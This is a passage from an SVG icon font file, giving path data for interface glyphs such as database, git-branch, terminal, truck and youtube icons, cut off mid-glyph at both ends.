d="M652.501 609.835q-13.0256 12.5805 -13.0256 30.6896q0 17.6639 12.5013 30.1653t30.1653 12.5014q18.109 0 30.6897 -13.0256l256 -256q12.4922 -12.496 12.4922 -30.1653t-12.4922 -30.1653l-256 -256q-12.4008 -11.977 -29.641 -11.977q-17.664 0 -30.1653 12.5013
t-12.5013 30.1653q0 17.2403 11.977 29.641l225.835 225.835zM145.664 384l225.835 -225.835q11.977 -12.4007 11.977 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2403 0 -29.641 11.977l-256 256q-12.4922 12.496 -12.4922 30.1653t12.4922 30.1653
l256 256q12.4007 11.977 29.641 11.977q17.6641 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653q0 -17.2404 -11.977 -29.6411z" />
    <glyph glyph-name="database" unicode="&#xe916;" 
d="M170.667 574.805v-190.805q0 -17.674 44.5838 -37.3145q44.5838 -19.6405 125.759 -33.8297q81.1748 -14.1892 170.991 -14.1892q89.816 0 170.991 14.1892q81.1749 14.1891 125.759 33.8297q44.5838 19.6405 44.5838 37.3145v190.805
q-120.907 -62.8054 -341.333 -62.8054q-220.426 0 -341.335 62.8054zM85.3333 682.667q0 52.0058 57.8331 91.3232t153.987 59.3304q96.154 20.0131 214.846 20.0131q118.692 0 214.846 -20.0131q96.1541 -20.0131 153.987 -59.3304q57.8331 -39.3173 57.8331 -91.3232
v-597.333q0 -52.1311 -57.6378 -91.4257q-57.6378 -39.2946 -153.752 -59.2678t-215.277 -19.9732q-119.163 0 -215.277 19.9732q-96.1143 19.9732 -153.752 59.2678t-57.6378 91.4257v597.333h0.00141907zM853.333 275.925q-120.359 -62.592 -341.333 -62.592
q-220.847 0 -341.333 62.592v-190.592q0 -17.674 44.5838 -37.3145q44.5838 -19.6405 125.759 -33.8297q81.1749 -14.1892 170.991 -14.1892q89.816 0 170.991 14.1892q81.1749 14.1892 125.759 33.8297q44.5838 19.6405 44.5838 37.3145zM512 597.333
q89.3021 0 170.521 14.2409q81.219 14.2408 126.016 33.8969t44.7966 37.1955q0 17.5394 -44.7966 37.1955t-126.016 33.897t-170.521 14.2408q-89.3024 0 -170.521 -14.2408q-81.2188 -14.2408 -126.015 -33.897q-44.7967 -19.6561 -44.7967 -37.1955
q0 -17.5394 44.7966 -37.1955q44.7966 -19.6561 126.016 -33.897t170.52 -14.2408z" />
    <glyph glyph-name="dollar-sign" unicode="&#xe917;" 
d="M554.667 725.333h170.667q17.6613 -0.00262451 30.1608 -12.504q12.4994 -12.5014 12.4994 -30.1627t-12.4994 -30.1626q-12.4995 -12.5013 -30.1608 -12.504h-170.667v-213.333h64q79.488 0 135.744 -56.256q56.256 -56.256 56.256 -135.744t-56.256 -135.744
t-135.744 -56.256h-64v-128q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v128h-213.333q-17.6613 0.00270462 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626t30.1607 12.504h213.333v213.333h-64
q-79.488 0 -135.744 56.256q-56.256 56.256 -56.256 135.744q0 79.488 56.256 135.744q56.256 56.256 135.744 56.256h64v128q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-128zM554.667 341.333v-213.333h64
q44.1557 0.00427246 75.406 31.2576q31.2503 31.2533 31.2503 75.409q0 44.1557 -31.2503 75.4091t-75.406 31.2576zM469.333 426.667v213.333h-64h-0.0103149q-44.16 0 -75.4134 -31.2534q-31.2533 -31.2534 -31.2533 -75.4133q0 -44.16 31.2533 -75.4133t75.4134 -31.2533
h0.0103149z" />
    <glyph glyph-name="folder-plus" unicode="&#xe918;" 
d="M554.667 341.333h85.3333q17.6613 -0.00268555 30.1608 -12.504q12.4994 -12.5013 12.4994 -30.1626t-12.4994 -30.1627q-12.4995 -12.5013 -30.1608 -12.504h-85.3333v-85.3333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653
v85.3333h-85.3333q-17.6613 0.00268555 -30.1607 12.504t-12.4994 30.1626t12.4994 30.1626q12.4995 12.5014 30.1607 12.5041h85.3333v85.3333q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-85.3333zM492.16 682.667h361.173
q52.9921 0 90.496 -37.504t37.504 -90.496v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-682.667q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h213.333h0.00637817
q9.44937 0 19.8486 -5.56311t15.6437 -13.4236zM361.173 725.333h-190.507q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h682.667q17.664 0 30.1653 12.5013
q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-384h-0.00637817q-9.4494 0 -19.8487 5.56311q-10.3992 5.56311 -15.6436 13.4236z" />
    <glyph glyph-name="gift" unicode="&#xe919;" 
d="M838.955 640h99.712q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-213.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-42.6667v-384q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-682.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v384
h-42.6667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v213.333q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h99.712q-14.4095 30.3778 -14.4095 64q0 61.824 43.7547 105.579q43.7546 43.7546 105.579 43.7546h0.0308228
q118.54 0 189.397 -128.768l2.60266 -4.82135l2.60266 4.82135q70.9268 128.768 189.397 128.768h0.0308228q61.824 0 105.579 -43.7546t43.7546 -105.579q0 -33.6222 -14.4091 -64zM554.667 554.667v-128h341.333v128h-341.333zM469.333 554.667h-341.333v-128h341.333v128
zM554.667 2.00117e-05h256v341.333h-256v-341.333v9.50586e-06v2.69334e-06zM469.333 2.00117e-05v341.333h-256v-341.333h256v1.21992e-05zM434.603 683.435q-46.4944 84.5653 -114.603 84.5653q-26 0 -45 -19t-19 -45t19 -45t45 -19h134.571
q-8.48843 22.4048 -19.968 43.4347zM704 640q26 0 45 19t19 45t-19 45t-45 19q-68.1083 0 -114.603 -84.5653q-11.4799 -21.0298 -19.968 -43.4347h134.571z" />
    <glyph glyph-name="folder-minus" unicode="&#xe91a;" 
d="M492.16 682.667h361.173q52.9921 0 90.496 -37.504t37.504 -90.496v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-682.667q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 52.992 37.504 90.496
q37.504 37.504 90.496 37.504h213.333h0.00637817q9.44937 0 19.8486 -5.56311t15.6437 -13.4236zM361.173 725.333h-190.507q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013
h682.667q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-384h-0.00637817q-9.4494 0 -19.8487 5.56311q-10.3992 5.56311 -15.6436 13.4236zM384 256q-17.6613 0.00268555 -30.1607 12.504
t-12.4994 30.1626t12.4994 30.1626q12.4995 12.5014 30.1607 12.5041h256q17.6613 -0.00268555 30.1608 -12.504q12.4994 -12.5013 12.4994 -30.1626t-12.4994 -30.1627q-12.4995 -12.5013 -30.1608 -12.504h-256z" />
    <glyph glyph-name="git-commit" unicode="&#xe91b;" 
d="M721.109 341.589q-14.4193 -70.6983 -75.6896 -120.734t-133.424 -50.0353q-72.1388 0 -133.407 50.0228q-61.2677 50.0228 -75.6984 120.704q-2.10632 -0.210205 -4.224 -0.213318h-253.867q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.664 12.5013 30.1653
q12.5013 12.5013 30.1653 12.5013h253.867q1.87753 0 4.224 -0.213348q14.425 70.6895 75.694 120.719q61.269 50.0291 133.415 50.0291q72.1464 0 133.415 -50.0291q61.269 -50.0291 75.6939 -120.719q2.56 0.213318 4.6507 0.213348h253.867q17.664 0 30.1653 -12.5013
t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-253.867q-2.34668 0 -4.6496 0.255768zM512 256q53 0 90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5z" />
    <glyph glyph-name="git-branch" unicode="&#xe91c;" 
d="M421.717 86.9973q-13.4067 -53.5114 -61.9371 -91.3829t-103.696 -37.8716q-70.4867 0 -120.517 49.8854t-50.2344 120.372q0.00728607 54.7278 37.5113 103.158t90.4887 62.1326v474.709q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653
v-474.709q39.777 -10.3027 75.5558 -45.6565t46.5562 -75.0048q112.999 12.274 201.659 100.933q88.6595 88.6595 100.933 201.659q-52.0284 14.241 -88.8505 62.4964q-36.8221 48.2554 -36.8221 102.198q0 70.5052 49.8984 120.535q49.8985 50.0302 120.403 50.216
l0.200256 0.00012207q70.656 0 120.661 -50.0053t50.0053 -120.661q0 -55.3694 -38.0502 -103.925q-38.0502 -48.5552 -91.814 -61.7928q-8.5921 -96.5556 -63.4939 -182.723q-54.9017 -86.1671 -141.069 -141.069q-86.1671 -54.9017 -182.721 -63.4936zM768 554.667
q35.3281 0 60.3307 25.0026t25.0026 60.3307q0 35.328 -25.0026 60.3307q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027q-25.0026 -25.0026 -25.0026 -60.3306q0 -35.3281 25.0026 -60.3307q25.0027 -25.0026 60.3307 -25.0027zM256 42.6667
q35.328 0 60.3307 25.0027q25.0027 25.0027 25.0027 60.3307q0 35.328 -25.0027 60.3307t-60.3307 25.0027q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0027z" />
    <glyph glyph-name="git-pull-request" unicode="&#xe91d;" 
d="M213.333 474.709q-52.8211 13.8011 -90.2042 62.2065q-37.3831 48.4053 -37.3831 103q0 70.4854 49.8844 120.516q49.8844 50.0301 120.369 50.2358l0.168686 6.10352e-05q70.656 0 120.661 -50.0053t50.0053 -120.661q0 -54.7877 -37.5534 -103.218t-90.6153 -62.0729
v-474.709q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013q-17.664 0 -30.1653 12.5013t-12.5013 30.1653zM725.333 293.291v261.376q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-128q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653
t12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h128q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-261.376q52.8211 -13.8011 90.2042 -62.2064q37.3831 -48.4053 37.3831 -103q0 -70.4854 -49.8843 -120.516q-49.8844 -50.0301 -120.37 -50.2358
l-0.168701 -8.39233e-05q-70.656 0 -120.661 50.0053q-50.005 50.0053 -50.0053 120.661q0 54.7876 37.5534 103.218t90.6151 62.0743zM768 42.6667q35.328 0 60.3307 25.0027q25.0026 25.0026 25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026
t-60.3307 -25.0027q-25.0026 -25.0027 -25.0026 -60.3307t25.0026 -60.3307q25.0026 -25.0026 60.3307 -25.0026zM256 554.667q35.3281 0 60.3307 25.0026q25.0027 25.0026 25.0027 60.3307t-25.0027 60.3307q-25.0027 25.0027 -60.3307 25.0027
q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3306q0 -35.328 25.0027 -60.3307t60.3307 -25.0027z" />
    <glyph glyph-name="git-merge" unicode="&#xe91e;" 
d="M602.283 86.9973q-78.4632 6.91563 -167.423 56.4209q-88.9595 49.5053 -136.193 112.539v-255.957q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v474.709q-52.8211 13.8011 -90.2042 62.2065
q-37.3831 48.4053 -37.3831 103q0 70.4854 49.8844 120.516q49.8844 50.0301 120.369 50.2358l0.187592 0.00012207q70.656 0 120.661 -50.0053t50.0053 -120.661q0 -54.1244 -36.9839 -102.405q-36.9839 -48.2802 -89.241 -62.3742q12.274 -112.999 100.933 -201.659
q88.6595 -88.6595 201.659 -100.933q14.241 52.0285 62.4963 88.8506q48.2552 36.8221 102.198 36.8221q70.5052 0 120.535 -49.8985q50.0302 -49.8985 50.216 -120.403l0.00012207 -0.200241q0 -70.656 -50.0053 -120.661q-50.0054 -50.0053 -120.661 -50.0053
q-55.3695 0 -103.925 38.0502q-48.5552 38.0502 -61.7928 91.814zM768 42.6667q35.328 0 60.3307 25.0027q25.0026 25.0026 25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026t-60.3307 -25.0027q-25.0026 -25.0027 -25.0026 -60.3307t25.0026 -60.3307
q25.0026 -25.0026 60.3307 -25.0026zM256 554.667q35.3281 0 60.3307 25.0026q25.0027 25.0026 25.0027 60.3307t-25.0027 60.3307q-25.0027 25.0027 -60.3307 25.0027q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3306q0 -35.328 25.0027 -60.3307t60.3307 -25.0027z" />
    <glyph glyph-name="linkedin" unicode="&#xe91f;" 
d="M682.667 554.667q123.648 0 211.157 -87.5093q87.5093 -87.5093 87.5093 -211.157v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v298.667q-0.00262451 17.6613 -12.504 30.1607
q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994t-12.504 -30.1607v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-170.667v0q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v298.667q0 123.648 87.5093 211.157
q87.5093 87.5093 211.158 87.5093zM896 2.00117e-05v256q0 88.32 -62.5067 150.827t-150.827 62.5067t-150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-256h85.3333v256q0 52.992 37.504 90.496t90.496 37.504t90.496 -37.504t37.504 -90.496v-256h85.3333z
M85.3333 512h170.667v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-512q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v512q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013z
M128 426.667v-426.667h85.3333v426.667h-85.3333zM170.667 554.667q-52.992 0 -90.496 37.504t-37.504 90.496t37.504 90.496t90.496 37.504t90.496 -37.504q37.504 -37.504 37.504 -90.496q0 -52.9919 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504zM170.667 640
h0.00653076q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5014 30.1653t-30.1653 12.5013h-0.00653076q-17.6613 -0.00268555 -30.1607 -12.504t-12.4994 -30.1627t12.4994 -30.1627q12.4994 -12.5013 30.1608 -12.5037z" />
    <glyph glyph-name="hard-drive" unicode="&#xe920;" 
d="M976.427 403.883q4.90674 -9.28748 4.90674 -19.7914l-0.00012207 -0.091217v-256q0 -52.992 -37.504 -90.496t-90.496 -37.504h-682.667q-52.992 0 -90.496 37.504t-37.504 90.496v256l-3.8147e-06 0.0174561q0 10.5386 4.90667 19.8652l146.773 293.12
q14.6134 29.3809 48.1795 50.183q33.5661 20.8022 66.3806 20.8143h406.187q36.4231 0 67.3846 -19.1888q30.9615 -19.1889 47.1327 -51.7231zM869.589 426.667l-116.352 232.32q-4.8631 9.78693 -16.0394 16.7252q-11.1763 6.93817 -22.1047 6.9549h-406.187
q-10.9285 -0.0166626 -22.1047 -6.9549q-11.1762 -6.93829 -16.0393 -16.7251l-116.352 -232.32zM896 341.333h-768v-213.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h682.667q17.664 0 30.1653 12.5013t12.5013 30.1653zM256 170.667h-0.00653076
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h0.00653076q17.6613 -0.00270081 30.1607 -12.504q12.4994 -12.5013 12.4994 -30.1626t-12.4994 -30.1626t-30.1607 -12.504zM426.667 170.667h-0.00653076
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h0.00653076q17.6613 -0.00271606 30.1607 -12.504q12.4994 -12.5013 12.4994 -30.1626t-12.4994 -30.1626t-30.1607 -12.504z" />
    <glyph glyph-name="more-vertical-" unicode="&#xe921;" 
d="M512 298.667q-35.328 0 -60.3307 25.0027t-25.0027 60.3307t25.0027 60.3307t60.3307 25.0027t60.3307 -25.0027q25.0026 -25.0027 25.0026 -60.3307t-25.0026 -60.3307q-25.0027 -25.0027 -60.3307 -25.0027zM512 597.333q-35.3281 0 -60.3307 25.0026
q-25.0027 25.0026 -25.0027 60.3307q0 35.328 25.0027 60.3307t60.3307 25.0027t60.3307 -25.0027q25.0026 -25.0026 25.0026 -60.3306t-25.0026 -60.3307q-25.0027 -25.0027 -60.3307 -25.0027zM512 -2.00117e-05q-35.328 0 -60.3307 25.0027t-25.0027 60.3307
t25.0027 60.3307q25.0027 25.0027 60.3307 25.0027t60.3307 -25.0027q25.0026 -25.0026 25.0026 -60.3307q0 -35.328 -25.0026 -60.3307q-25.0027 -25.0026 -60.3307 -25.0027v5.75293e-06v1.32586e-07z" />
    <glyph glyph-name="more-horizontal-" unicode="&#xe922;" 
d="M512 298.667q-35.328 0 -60.3307 25.0027t-25.0027 60.3307t25.0027 60.3307t60.3307 25.0027t60.3307 -25.0027q25.0026 -25.0027 25.0026 -60.3307t-25.0026 -60.3307q-25.0027 -25.0027 -60.3307 -25.0027zM810.667 298.667q-35.3279 0 -60.3306 25.0027
q-25.0027 25.0027 -25.0027 60.3307t25.0027 60.3306q25.0027 25.0027 60.3306 25.0027t60.3306 -25.0027t25.0027 -60.3307t-25.0027 -60.3307t-60.3306 -25.0026zM213.333 298.667q-35.328 0 -60.3307 25.0027t-25.0027 60.3307t25.0027 60.3307t60.3307 25.0027
t60.3307 -25.0027q25.0027 -25.0027 25.0027 -60.3307t-25.0027 -60.3307t-60.3307 -25.0027z" />
    <glyph glyph-name="rss" unicode="&#xe923;" 
d="M170.667 384q-17.6613 0.00271606 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626q12.4994 12.5014 30.1607 12.5041q115.907 0 214.193 -57.0941q98.2857 -57.0941 155.38 -155.38q57.0941 -98.2858 57.0941 -214.193
q-0.00268555 -17.6613 -12.504 -30.1607t-30.1627 -12.4994q-17.6613 0 -30.1626 12.4994q-12.5013 12.4994 -12.5041 30.1607q0 92.6718 -45.696 171.307q-45.6959 78.6348 -124.331 124.331q-78.6348 45.696 -171.307 45.6958zM170.667 682.667h-0.00653076
q-17.664 0 -30.1653 12.5014q-12.5013 12.5013 -12.5013 30.1653t12.5013 30.1653q12.5014 12.5013 30.1653 12.5013h0.00653076q147.571 0 281.893 -57.4414q134.322 -57.4415 231.44 -154.559q97.1177 -97.1177 154.559 -231.44q57.4414 -134.322 57.4414 -281.893
q-0.00268555 -17.6613 -12.504 -30.1607t-30.1627 -12.4994q-17.6613 0 -30.1627 12.4994q-12.5013 12.4994 -12.504 30.1607q0 130.203 -50.6862 248.722t-136.38 204.212q-85.6934 85.6934 -204.212 136.38q-118.519 50.6863 -248.722 50.6862zM213.333 2.00117e-05
q-35.328 0 -60.3307 25.0027t-25.0027 60.3307q0 35.328 25.0027 60.3307t60.3307 25.0027t60.3307 -25.0027q25.0027 -25.0027 25.0027 -60.3307t-25.0027 -60.3307t-60.3307 -25.0027v1.32548e-07z" />
    <glyph glyph-name="send" unicode="&#xe924;" 
d="M923.691 850.645q7.26105 2.73065 15.0187 2.73065q17.6639 0 30.1653 -12.5013t12.5013 -30.1653q0 -7.75763 -2.73065 -15.0187l-298.368 -852.48q-9.60223 -27.3344 -38.5493 -28.512t-40.7253 25.312l-164.011 368.981l-368.981 164.011
q-26.5007 11.7744 -25.3227 40.7413q1.178 28.9669 28.5653 38.5333zM776.277 708.651l-575.275 -201.387l258.901 -115.029zM836.651 648.277l-316.416 -316.373l115.029 -258.901z" />
    <glyph glyph-name="shield-off" unicode="&#xe925;" 
d="M781.79 174.592l0.426636 -0.426666l229.291 -229.333q11.9771 -12.4007 11.9771 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2403 0 -29.6411 11.977l-198.528 198.528q-40.5152 -40.8131 -105.185 -88.6932q-64.6694 -47.8801 -115.53 -74.7201
q-9.34607 -4.93229 -19.9139 -4.93229q-10.0736 0 -19.0835 4.50562q-29.1624 15.0562 -56.8747 32.64q-65.043 40.4468 -122.837 90.7093q-185.216 162.193 -185.216 341.461v298.667q0 10.6257 4.992 20.0107l-120.491 120.491q-13.0261 12.5807 -13.0261 30.6901
q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013q18.1094 0 30.6901 -13.0261l158.507 -158.507l1.32266 -1.28003zM213.342 622.336v-238.336q0 -140.662 156.117 -277.205q66.1894 -57.6049 142.507 -100.907q41.2907 23.264 94.134 63.5433t86.218 73.9287z
M512.009 765.099l-119.893 -44.7574q-7.22275 -2.698 -14.9333 -2.698q-17.6681 0 -30.1724 12.5043t-12.5043 30.1724q0 12.2609 8.12878 23.9746t19.6146 16.0041l134.827 50.3467q7.23239 2.70667 14.9547 2.70667q7.72229 0 14.9547 -2.70667l341.333 -128
q11.4641 -4.29724 19.5774 -16.0032q8.11328 -11.7059 8.11328 -23.9489v-0.0266113v-298.965q-0.329712 -49.9762 -15.1467 -97.7067q-3.92358 -12.2929 -15.8331 -20.9931q-11.9094 -8.70013 -24.8134 -8.70013q-17.6639 0 -30.1653 12.5013t-12.5014 30.1653
q0 6.29828 1.81976 12.3279q11.0328 35.5154 11.3066 72.704v269.099z" />
    <glyph glyph-name="shopping-bag" unicode="&#xe926;" 
d="M929.877 665.941q8.77588 -11.4861 8.78937 -25.9413v-597.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-597.333q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333v0.003479q0 14.4582 8.78934 25.9379l127.744 170.325
q12.8 17.0667 34.1333 17.0667h512q21.3333 0 34.1334 -17.0667zM810.667 682.667l-64 85.3333h-469.333l-64 -85.3333h597.333zM853.333 597.333h-682.667v-554.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h597.333q17.664 0 30.1653 12.5013
q12.5013 12.5013 12.5013 30.1653zM640 469.333q0.00268555 17.6613 12.504 30.1607q12.5013 12.4994 30.1627 12.4994q17.6612 0 30.1626 -12.4994t12.504 -30.1607q0 -88.32 -62.5067 -150.827q-62.5067 -62.5067 -150.827 -62.5067q-88.32 0 -150.827 62.5067
q-62.507 62.5067 -62.5067 150.827v0.00653076q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-0.00653076q0 -52.992 37.504 -90.496t90.496 -37.504t90.496 37.504q37.504 37.504 37.5048 90.496z" />
    <glyph glyph-name="terminal" unicode="&#xe927;" 
d="M140.501 652.501q-11.977 12.4008 -11.977 29.6411q0 17.6641 12.5013 30.1653q12.5013 12.5013 30.1654 12.5013q17.2403 0 29.641 -11.977l256 -256q12.4922 -12.4961 12.4922 -30.1653q0 -17.6693 -12.4922 -30.1653l-256 -256q-12.5806 -13.0256 -30.6896 -13.0256
q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653q0 18.109 13.0256 30.6896l225.835 225.835zM512 42.6667q-17.6613 0.00270844 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626t30.1607 12.504h341.333
q17.6613 -0.00270844 30.1607 -12.5041t12.4995 -30.1626q0 -17.6613 -12.4995 -30.1626t-30.1607 -12.504z" />
    <glyph glyph-name="truck" unicode="&#xe928;" 
d="M924.288 170.667q14.3787 -30.3508 14.3787 -63.935q0 -61.824 -43.7547 -105.579q-43.7546 -43.7547 -105.579 -43.7547t-105.579 43.7547t-43.7547 105.579q0 33.5843 14.3787 63.935h-284.757q14.3787 -30.3507 14.3787 -63.935q0 -61.824 -43.7547 -105.579
q-43.7547 -43.755 -105.579 -43.7547q-61.824 0 -105.579 43.7547q-43.7547 43.7547 -43.7547 105.579q0 33.5844 14.3787 63.935h-57.0453v0q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v554.667q0 17.664 12.5013 30.1653
q12.5013 12.5013 30.1653 12.5013h640q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-170.667h128q17.6717 -0.00384521 30.1653 -12.5013l128 -128q12.4974 -12.4938 12.5013 -30.1653v-213.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013zM640 554.667v170.667
h-554.667v-469.333h554.667v298.666zM725.333 512v-256h213.333v153.003l-102.997 102.997h-110.336zM234.667 42.6667q26.496 0 45.248 18.752q18.752 18.752 18.752 45.248t-18.752 45.248t-45.248 18.752q-26.496 0 -45.248 -18.752t-18.752 -45.248t18.752 -45.248
t45.248 -18.752zM789.333 42.6667q26.496 0 45.248 18.752q18.752 18.752 18.752 45.248t-18.752 45.248t-45.248 18.752t-45.248 -18.752t-18.752 -45.248t18.752 -45.248t45.248 -18.752z" />
    <glyph glyph-name="zap-off" unicode="&#xe929;" 
d="M283.614 552.064l-271.104 271.104q-13.0261 12.5807 -13.0261 30.6901q0 17.664 12.5013 30.1653t30.1653 12.5013q18.1094 0 30.6901 -13.0261l298.368 -298.368l0.682678 -0.682678l340.651 -340.651l0.682678 -0.682663l298.283 -298.24
q12.5099 -12.5012 12.5099 -30.1867q0 -17.6676 -12.5039 -30.1714q-12.5039 -12.5039 -30.1714 -12.5039q-17.6678 0 -30.1653 12.4886l-265.643 265.643l-183.424 -220.16q-15.0867 -14.8199 -32.7617 -15.4596t-31.2731 13.5822q-13.5981 14.2218 -11.0586 34.5173
l36.6933 293.376h-335.701q-17.6574 0.00660706 -30.154 12.5079q-12.4966 12.5013 -12.4966 30.1587q0 15.4417 9.88268 27.3067l188.373 226.133zM344.201 491.477l-125.099 -150.144h275.2l-150.059 150.144h-0.0420227zM553.011 282.667l-23.296 -186.24l95.232 114.304
zM483.806 658.773q-12.8057 -15.3969 -32.832 -15.3969q-17.6793 0 -30.1914 12.5121t-12.5121 30.1915q0 15.4377 9.87158 27.3066l103.68 124.587q15.087 14.8437 32.7632 15.5007t31.2841 -13.5507t11.0886 -34.5047l-25.1733 -202.667
q-1.52271 -15.9893 -13.9678 -27.3054q-12.445 -11.3161 -28.5067 -11.3161q-17.6641 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653q0 3.2442 0.490479 6.45087l7.25333 58.2827l-10.6667 -12.7573zM668.169 426.667q-17.6613 0.00274658 -30.1607 12.5041
t-12.4995 30.1626q0 17.6613 12.4995 30.1627q12.4994 12.5013 30.1607 12.504h227.84h0.0195923q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -15.4732 -9.91827 -27.3493l-103.68 -124.16q-12.7969 -15.3324 -32.768 -15.3324q-17.6702 0 -30.176 12.5057
t-12.5057 30.176q0 15.4714 9.9137 27.3493l45.2266 54.144z" />
    <glyph glyph-name="youtube" unicode="&#xe92a;" 
d="M1003.09 632.448l0.640015 -2.77332q20.2913 -112.541 20.2913 -226.897q0 -3.98792 -0.0246582 -7.94067l0.00671387 -4.14117q0 -116.148 -20.9134 -230.397q-9.46387 -37.6442 -42.6174 -71.6853q-33.1534 -34.0411 -70.5346 -44.496
q-45.2421 -12.0844 -184.619 -17.3653q-97.2285 -3.57427 -194.523 -3.57427q-29.63 0 -59.2585 0.3316q-70.858 0.868193 -132.907 3.24267q-139.656 5.36108 -184.832 17.408q-41.1235 11.28 -71.2065 41.6671q-30.083 30.3871 -42.2868 73.8316
q-20.3325 112.641 -20.3325 227.102q0 3.84637 0.0231444 7.69272q-0.641471 117.71 20.9067 236.288q9.45839 37.6357 42.5995 71.6768t70.5099 44.5045q45.2313 12.0814 184.619 17.3654q97.667 3.60669 195.403 3.60669q29.166 0 58.3359 -0.32135
q72.7106 -0.82312 132.821 -2.94397q139.051 -4.81793 185.344 -16.1707q37.2133 -10.5282 70.1917 -44.5319q32.9785 -34.0036 42.363 -71.5215zM920.021 612.949q-4.44592 16.9178 -19.4474 32.457q-15.0016 15.5391 -31.7526 20.5776q-36.3031 8.8183 -166.571 13.3547
q-95.0735 3.16754 -190.199 3.16754q-29.705 0 -59.4014 -0.308899q-70.8321 -0.881226 -130.688 -3.15735q-129.931 -4.94781 -165.248 -14.3787q-19.4439 -5.51013 -33.6545 -19.7291q-14.2105 -14.219 -18.7402 -32.111q-19.0021 -105.333 -19.0021 -212.367
q0 -3.04443 0.0154877 -6.08652q-0.702179 -110.115 17.9627 -215.467q5.43334 -19.1125 19.5742 -33.121q14.1409 -14.0085 33.2044 -19.2309q35.9987 -9.62981 165.845 -14.5067q95.7487 -3.52123 191.562 -3.52123q28.9348 0 57.8677 0.321236
